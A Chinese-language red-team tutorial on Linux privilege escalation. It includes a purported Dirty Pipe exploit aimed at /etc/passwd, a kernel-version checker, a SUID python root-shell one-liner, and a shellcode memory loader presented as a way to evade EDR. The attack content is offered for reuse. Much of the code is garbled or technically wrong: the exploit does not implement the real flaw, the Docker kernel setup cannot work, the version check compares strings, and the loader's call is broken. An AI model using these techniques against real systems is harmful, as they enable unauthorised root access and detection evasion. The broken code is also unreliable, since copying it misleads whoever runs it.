一、从权限提升的基础说起

权限提升技术,简单来说,就是攻击者在已经获取某个低权限账户的前提下,通过漏洞或错误配置,将权限提升至更高层级,最终获得目标系统的完全控制权。在实际攻击中,权限提升往往是横向移动、持久化攻击,以及深度渗透的关键一步。

权限提升的实现通常有以下两种方式:

  1. 纵向权限提升:从低权限用户提升到更高权限(如从普通用户到管理员)。
  1. 横向权限提升:利用同等权限的其他用户凭据,扩展到更多账户和系统。

接下来,我们通过案例与技术剖析,逐步揭开权限提升技术的攻防细节。

---

二、内核提权漏洞的实战解读

理解漏洞:经典 Dirty Pipe 漏洞 (CVE-2022-0847)

Dirty Pipe 是 Linux 内核中一个非常有杀伤力的提权漏洞,影响多个版本的 Linux 系统。它允许非特权用户通过管道直接覆盖文件的内容,从而实现权限提升。

漏洞的原因是 Linux 内核在处理管道缓存时存在边界检查缺陷。攻击者可以通过特定的写入请求,修改文件的数据,即使文件是只读的。

环境搭建

  • 目标系统:任意受漏洞影响的 Ubuntu/Debian 系统(Linux Kernel 5.8+)。
  • 攻击工具:任意支持编译 C/C++ 的环境。

示例环境可以使用 Docker 快速搭建:

<pre><code class="language-bash"># 使用受漏洞影响的镜像 docker run --rm -it --name vuln-lab ubuntu:22.04 bash

更新内核到受影响版本

apt update &amp;&amp; apt install -y linux-image-5.10.0</code></pre>

漏洞利用代码

以下是一个 Dirty Pipe 漏洞的 POC,可以直接编译和运行:

<pre><code class="language-c">#include &lt;fcntl.h&gt;

include &lt;stdio.h&gt;

include &lt;stdlib.h&gt;

include &lt;string.h&gt;

include &lt;sys/stat.h&gt;

include &lt;sys/types.h&gt;

include &lt;unistd.h&gt;

int main(int argc, char argv[]) { const char file = &quot;/etc/passwd&quot;; // 修改目标文件 int fd = open(file, O_RDONLY); // 以只读方式打开文件 if (fd &lt; 0) { perror(&quot;无法打开文件&quot;); return 1; }

// 创建管道 int pipefd[2]; if (pipe(pipefd)) { perror(&quot;管道创建失败&quot;); return 1; }

// 向管道写入数据 write(pipefd[1], &quot;BYPASS&quot;, 6);

// 使用漏洞覆盖文件内容 loff_t offset = 4; // 偏移设置 splice(fd, &amp;offset, pipefd[1], NULL, 1, 0);

printf(&quot;覆盖完成,检查目标文件是否被修改!\n&quot;); return 0; }</code></pre>

编译运行:

<pre><code class="language-bash">gcc dirty_pipe_poc.c -o dirty_poc ./dirty_poc</code></pre>

如果漏洞利用成功,攻击者可以覆盖 /etc/passwd 文件,加入一个高权限用户,从而实现提权。

---

三、权限提升的自动化工具开发

虽然单一漏洞的利用有它的学习价值,但在真实红队场景中,我们往往需要一个自动化工具来高效识别和利用提权漏洞。以下是用 Python 开发的一个简化提权检测脚本。

脚本实现

该脚本会自动检查目标系统是否符合 Dirty Pipe 的利用条件:

<pre><code class="language-python">import os import platform import subprocess

def check_kernel_version(): &quot;&quot;&quot;检查内核版本&quot;&quot;&quot; kernel = platform.release() print(f&quot;当前的内核版本为: {kernel}&quot;) if kernel &gt;= &quot;5.8&quot; and kernel &lt;= &quot;5.16.11&quot;: print(&quot;[+] 系统可能受 Dirty Pipe 漏洞影响!&quot;) return True else: print(&quot;[-] 系统不受漏洞影响。&quot;) return False

def main(): print(&quot;正在检测权限提升漏洞...\n&quot;) if check_kernel_version(): print(&quot;[*] 请尝试利用 CVE-2022-0847 进行提权。&quot;) else: print(&quot;[!] 无法检测到可利用的提权漏洞。&quot;)

if __name__ == &quot;__main__&quot;: main()</code></pre>

运行脚本:

<pre><code class="language-bash">python3 privilege_escalation_checker.py</code></pre>

黑客示意图

脚本会输出检测结果,并为漏洞利用提供参考。

---

四、配置错误的深度挖掘

除了漏洞,上线后发现目标系统存在错误配置,也是一种常见的提权手段。以下是几个经典的配置错误场景:

SUID 程序利用

黑客示意图

SUID 是 Linux 权限管理的一种技术,当某个程序被设置了 SUID 位后,任何用户执行该程序时都会以程序属主的权限运行。

查找易被利用的 SUID 文件

<pre><code class="language-bash">find / -perm -4000 2&gt;/dev/null</code></pre>

如果发现以下可疑文件,就可以尝试利用:

  • /bin/bash
  • /usr/bin/perl
  • /usr/bin/python

利用 SUID 提权

假设 /usr/bin/python 被错误配置为 SUID,可通过以下命令直接提权:

<pre><code class="language-bash">/usr/bin/python -c &#039;import os; os.setuid(0); os.system(&quot;/bin/bash&quot;)&#039;</code></pre>

这将直接生成一个拥有 root 权限的 Shell。

---

五、如何绕过常见检测工具

绕过 EDR 的策略

  1. 内存加载:使用 Python 的 ctypesCFFI 加载恶意代码到内存中。
  2. 代码混淆:通过自定义加密算法,避免被静态分析工具识别。
  3. 流量伪装:使用 HTTPS 或 DNS 隧道隐藏 C2 通信流量。

以下是一个简单的 Shellcode 内存加载示例:

黑客示意图

<pre><code class="language-python">import ctypes

shellcode = b&quot;\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05&quot; shellcode_func = ctypes.CFUNCTYPE(None) shellcode_buffer = ctypes.create_string_buffer(shellcode) ctypes.cast(shellcode_buffer, ctypes.c_void_p) shellcode_func()</code></pre>

只需将恶意 Shellcode 写入内存,就可以有效规避静态检测。

---

六、红队中的经验之谈

  1. 权限提升不是最终目标:提权只是通往目标的一步,切忌浪费过多时间在权限提升上。
  2. 环境枚举的重要性:在上线后充分枚举目标系统,错误配置和漏洞往往隐藏在细节中。
  3. 定制化工具开发:现成工具固然强大,但使用自写工具能更好地隐藏攻击痕迹。

---

七、总结

权限提升是红队行动中的核心环节。无论是通过内核漏洞,还是利用系统配置错误,攻击者总能找到提升权限的方法。希望这篇文章在结合实战的基础上,给大家提供了可复现的技术与思路。